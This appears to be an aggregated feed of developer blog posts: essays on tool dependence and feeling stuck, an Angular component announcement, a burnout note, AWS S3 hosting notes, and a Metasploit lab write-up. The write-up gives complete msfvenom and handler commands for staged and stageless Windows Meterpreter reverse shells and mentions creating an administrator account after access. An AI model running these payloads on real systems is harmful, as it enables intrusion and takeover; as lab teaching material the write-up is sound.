2026-01-16 13:41:40
I started my career as a frontend developer.
Write a few lines of code, something appears on the screen. Create a button, it actually clicks. What I built actually worked. It was simple. The output was tangible. The program existed.
Back then, I thought that was "development."
As my corporate tenure extended, something felt off.
Am I actually developing? Or am I just grinding through tasks like some glorified day laborer?
JavaScript. TypeScript. React. Vue. I wasn't leveraging these tools to architect services or engineer elegant structures. I was simply… complying. Subordinating myself to their paradigms.
React dictates this approach? Done. TypeScript mandates that pattern? Implemented. Vue documentation says this is best practice? Copy-pasted.
Somewhere along the way, I stopped using the tools. The tools started using me.
Sounds obvious, right? But how many developers genuinely internalize this?
A real developer should be tool-agnostic. When a problem emerges, you select the appropriate instrument. You comprehend each tool's strengths and limitations. You calculate trade-offs. You make contextual decisions.
But reality?
"I have 5 years of Java experience."
"I'm a React specialist."
"I'm a Spring master."
This is what goes on résumés. This is what gets flexed in interviews. This is what earns clout in dev communities.
Think about it for a second.
"I'm a hammer expert."
"I've been sawing for 10 years."
"I'm a drill master."
Ever encountered these job titles? Didn't think so.
Master carpenters exist. Exceptional tile artisans exist. Renowned architects exist. But hammer specialists? Saw experts? They don't exist. Why? Because that's not a profession. That's just someone who's proficient with a tool.
Yet in the tech industry, this absurdity is normalized.
"Java Expert"
"React Specialist"
"TypeScript Master"
What's the difference? This is literally declaring "I aspire to be an exceptional toolor." Someone shackled to a single instrument. Someone who becomes a blank slate the moment their tool becomes obsolete.
Is that a developer?
I'll admit it.
For years, I was a toolor. When I used React, I only thought in React paradigms. When I wrote TypeScript, my cognition was confined to TypeScript's boundaries. When confronting problems, my first instinct wasn't "How do I solve this?" It was "How do I implement this in React?"
The tool was governing my cognitive architecture. And I had the audacity to call it "expertise."
This is self-critique. It stings. But without acknowledgment, transformation is impossible.
AI is evolving at an exponential velocity. Every single day, it gets more sophisticated.
And you know what AI excels at?
Tool operation.
React code? GPT generates it in 3 seconds. Spring boilerplate? Copilot auto-completes it. TypeScript type definitions? AI infers them with superior precision.
That "tool proficiency" you've been cultivating for a decade? AI replicates it in seconds. Actually, it already has. Actually, let's be honest — it's already surpassed you.
Exceptional toolors? No longer required.
No matter how elite your toolor status, do you genuinely believe you can outperform AI that's advancing exponentially? Seriously?
So what remains?
AI can't replicate this. Not yet. Not for a while.
Delegate the tools to AI. It's faster. It's more accurate.
Instead, become the one who decides when, why, and how those tools should be deployed. Stand above the tools. Don't be subordinate to instruments — make the instruments subordinate to you.
2026-01-16 13:40:52
We’ve just added a brand new set of blocks to Angular Material Blocks 🎉
These new Flyout Menu blocks are built using Angular CDK Overlay APIs, combined with Angular Material and Tailwind CSS—designed for modern, interactive UI patterns.
They’re perfect for:
All blocks are production-ready, accessible, and easy to integrate into real Angular apps.
👉 Explore the new flyout menus here:
https://ui.angular-material.dev/blocks/marketing/elements/flyout-menus
2026-01-16 13:33:45
Here is the truth.....as I said in my portfolio website I document even when things are unfinished, and yes thats true cause here I am and haveing done nothing since the past 8 days, the burn out I felt, the weak mindset I had, have won the battle.
but there is a saying here in hindi that goes something like "Har ke jeetne valonko baziger kehete hai" which translates to "A true winner is one who rises after defeat", well I guess this is something like that.....
the above graph shows something importent that I will follow,
the test that comes after the consistancy, I will not lose to it again, I don't have to cause I genuenly love what I do.....and like any other relation I know this is gonna get better too
sooo.....here I am back from the break, working again
My goals for today are:
that's it folks i'll catch up today once again.....untill then
poundin, nodin, see ya!!!
2026-01-16 13:27:31
If you’re feeling stuck in programming, let me say this first:
You’re not broken, you’re not slow, and you’re definitely not alone.
Almost every developer hits this phase.
The phase where learning feels heavy.
Where progress feels invisible.
Where motivation quietly disappears.
And the worst part...
You don’t even know why you feel stuck.
At the beginning, everything feels exciting.
Your first variables. Functions. Python loops. HTML tags.
Then one day, it shifts.
You know some things… but not enough.
You understand tutorials… until you try to build alone.
You can read code… but writing it feels hard again.
This is the phase nobody prepares you for.
You’re not a beginner anymore...
but you don’t feel confident either.
That gap is uncomfortable.
And that’s usually where people get stuck.
When you’re stuck, the instinct is to consume more.
More courses.
More videos.
More “ultimate roadmaps.”
But watching more content rarely fixes the feeling.
Because the problem isn’t lack of information...
It’s lack of direction and trust in yourself.
At some point, tutorials stop teaching... and start hiding the gaps you need to face.
Here’s the truth most developers learn too late:
Feeling stuck often means you’re about to level up.
You’re questioning things now.
You’re noticing patterns, inconsistencies, and gaps.
You’re no longer satisfied with surface-level understanding.
That frustration?
It’s a sign that your brain is reorganizing how it thinks about code.
Growth just doesn’t announce itself loudly.
Instead of trying to “unstuck” myself quickly, I changed how I approached learning:
Slow progress felt scary at first.
But it was the most honest progress I ever made.
We treat being stuck like something is wrong.
But in programming, including web development, being stuck is normal.
Even experienced developers feel it... just at different levels.
The difference is this:
They don’t panic when it happens.
They pause.
They reflect.
They keep going.
❌ I don’t force myself to be productive
❌ I don’t compare my journey to others
❌ I don’t chase every new framework
❌ I don’t assume “stuck” means “bad at coding”
Being stuck is feedback, not a verdict.
If you’re feeling stuck in programming right now, please remember:
You don’t need a new roadmap.
You don’t need to restart from zero.
You don’t need to quit.
You just need patience with the process and with yourself.
Growth isn’t always visible.
But if you’re showing up, thinking, questioning, and trying...
You are moving forward, even when it doesn’t feel like it.
Keep going.
Your future self is already thankful you didn’t stop 💻
Wishing you clarity, confidence, and calm progress on your programming journey, friends 💙.
| Thanks for reading! 🙏🏻 I hope you found this useful ✅ Please react and follow for more 😍 Made with 💙 by Hadil Ben Abdallah |
  
|
|---|
2026-01-16 13:26:44
Metasploit Deep Dive: Staged vs. Stageless Payloads
If you’re learning Metasploit, you’ve probably typed one of these without thinking too hard:
windows/meterpreter/reverse_tcp
windows/meterpreter_reverse_tcp
They look almost identical. One slash. One underscore. Easy to copy-paste, easy to forget.
I used to treat them the same way—until I actually built a lab to see what really happens under the hood. And that’s where things got interesting.
This article walks through a hands-on lab where I compared staged vs. stageless payloads, broke a few things along the way, and finally understood why this distinction matters in real attacks.
Why This Difference Matters (Especially for Beginners)
Early on, it’s tempting to think exploitation is about memorizing commands. Run msfvenom, start a handler, wait for a session.
But the real skill isn’t in typing commands — it’s in understanding how payloads are delivered, what can fail, and why one payload works while another dies silently.
Staged vs. stageless payloads are a perfect example of this.
The Lab Setup (Nothing Fancy, Just Real)
For this project, I kept the environment simple and realistic:
Attacker: Kali Linux with Metasploit Framework
Target: Windows VM
Network: Host-only / internal lab network
Delivery: Payload hosted via Apache
Goal:
Get a Meterpreter session
Perform post-exploitation (recon + admin account creation)
Everything was done in an isolated lab I control.
Payload Theory (Quick, Practical Version)
Before touching commands, here’s the mental model that finally clicked for me:
🧩 Staged Payload
Small initial payload (the “stager”)
Connects back to the attacker
Downloads the full Meterpreter stage into memory
Pros:
Smaller executable
Flexible, modular
Cons:
If the second stage is blocked → session dies
🧱 Stageless Payload
Entire payload bundled into one executable
No second-stage download
Pros:
More reliable in restricted networks
Fewer moving parts
Cons:
Larger file
Easier to flag by AV
Same goal. Very different delivery.
Part 1: The Staged Payload Attack
Generating the Payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.101 LPORT=443 \
-f exe -o staged.exe
This payload is intentionally small. It’s not Meterpreter yet — it’s just enough code to call home and ask for the rest.
Setting the Handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 443
exploit -j
Important:
If the payload here doesn’t exactly match what you used in msfvenom, nothing works. No errors. No warnings. Just… nothing.
I learned that the hard way.
Execution & Session
Once the victim runs the executable, the stager connects back, pulls the full Meterpreter payload, and opens a session.
When it works, it feels great.
When it doesn’t, you’re staring at logs wondering what you broke.
Part 2: The Stageless Payload Attack
Now for the underscore payload.
Generating the Payload
msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=192.168.56.101 LPORT=443 \
-f exe -o stageless.exe
This time, everything is baked into one file.
Handler Setup
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST 192.168.56.101
set LPORT 443
exploit -j
When the victim executes this payload, the session opens immediately. No staging. No second download.
In restrictive environments, this difference matters a lot.
Post-Exploitation: What We Did After Access
Once Meterpreter was live, I treated this like a real post-exploitation scenario:
System enumeration (sysinfo)
Dropping into a shell
Creating a new administrator account
Running local exploit suggestion modules
This part matters because exploitation isn’t the finish line — it’s the starting point.
The “Aha” Moment
The biggest takeaway wasn’t the commands.
It was realizing that:
Payload choice affects reliability
Network controls affect staging
A “session closed” error usually means delivery failed, not “Metasploit is broken”
Once you understand that, debugging becomes logical instead of frustrating.
Common Frustrations (That I Definitely Hit)
❌ Session opens then immediately closes
❌ No callback because LHOST was wrong
❌ Firewall silently blocking staged payloads
❌ Payload/handler mismatch
These aren’t beginner mistakes — they’re normal. What matters is knowing where to look and why it failed.
So… Which Payload Should You Use?
There’s no universal answer.
Staged payloads ->Smaller, More flexible, Risky in filtered networks
Stageless payloads-> Larger, More reliable, Easier to detect
Good attackers (and good defenders) understand both.
Final Thoughts
If you’re learning Metasploit, don’t stop at “I got a session.”
Build labs where:
Things break
Sessions fail
You have to reason through why
That’s where real skill develops.
I’ve documented the full lab — commands, screenshots, and walkthrough — here:
👉 GitHub Repo:
https://github.com/VibhavChennamadhava/Metasploit-Staged-vs-Stageless-Payloads
Build this lab yourself. Break it. Fix it.
That’s how it sticks.
2026-01-16 13:15:31
believe-in-bucket on AWS Free Tier.Verified connection:
aws s3 ls
aws s3 ls s3://believe-in-bucket
AmazonS3FullAccess and attach to EC2aws sts get-caller-identity
SSH Connection Setup
Configured ~/.ssh/config on WSL2 and Windows
Verified connection:
ssh ec2-dev
Issue: SCP using my-ec2 host failed due to “Could not resolve hostname”
Fix: Ensure the host alias in ~/.ssh/config matches the SSH command. Using actual EC2 public DNS worked.
VSCode Remote-SSH
Configured the same SSH config in VSCode
Connection worked, but public key permissions/paths needed corrections (used Windows paths in IdentityFile)
Created ~/DevOps folder on EC2
Copied index.html from WSL to EC2 via scp
Observation: Only index.html existed initially — no CSS/JS or subfolders.
aws s3 cp ~/DevOps s3://believe-in-bucket/ --recursive --acl public-read
AccessControlListNotSupported → caused by bucket having owner enforced ACLs
index.html uploaded → folder structure and .git skipped (by default & ACL errors)Removed --acl public-read
Excluded .git folder explicitly:
aws s3 cp ~/DevOps s3://believe-in-bucket/ --recursive --exclude ".git/*"
aws s3 ls s3://believe-in-bucket/ --recursive
index.html, css/style.css, js/app.js uploaded successfully.aws s3 website s3://believe-in-bucket/ --index-document index.html
Troubleshooting:
Cause: Bucket is private, Block Public Access ON
Solution:
Disable Block Public Access (for testing)
Add bucket policy for public read:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PublicReadGetObject",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::believe-in-bucket/*"
}
]
}
After this, the S3 URL was accessible.
Issue: Blank page appeared → cause: index.html had no content in <body>
Fix: Added minimal content to <body>:
<body>
<h1>Welcome to AWS DevOps!</h1>
</body>
index.html
css/style.css
js/app.js
.git was excluded--acl public-read fails on owner-enforced buckets → must use bucket policy for public access.Only uploads existing files
Empty folders are not stored in S3
Exclude .git to avoid ACL/metadata issues
Needs public read via policy
URL must match folder structure (index.html at root vs in subfolder)
Host alias in ~/.ssh/config must match command
Identity file path correct for WSL vs Windows
SCP requires correct relative path to copy folders
<body> or wrong paths for CSS/JSEC2 instance created and connected via SSH/VSCode
IAM role attached to allow S3 access
DevOps folder uploaded from WSL → EC2 → S3
Bucket policy allows public read, website enabled
Website successfully serves index.html and all static assets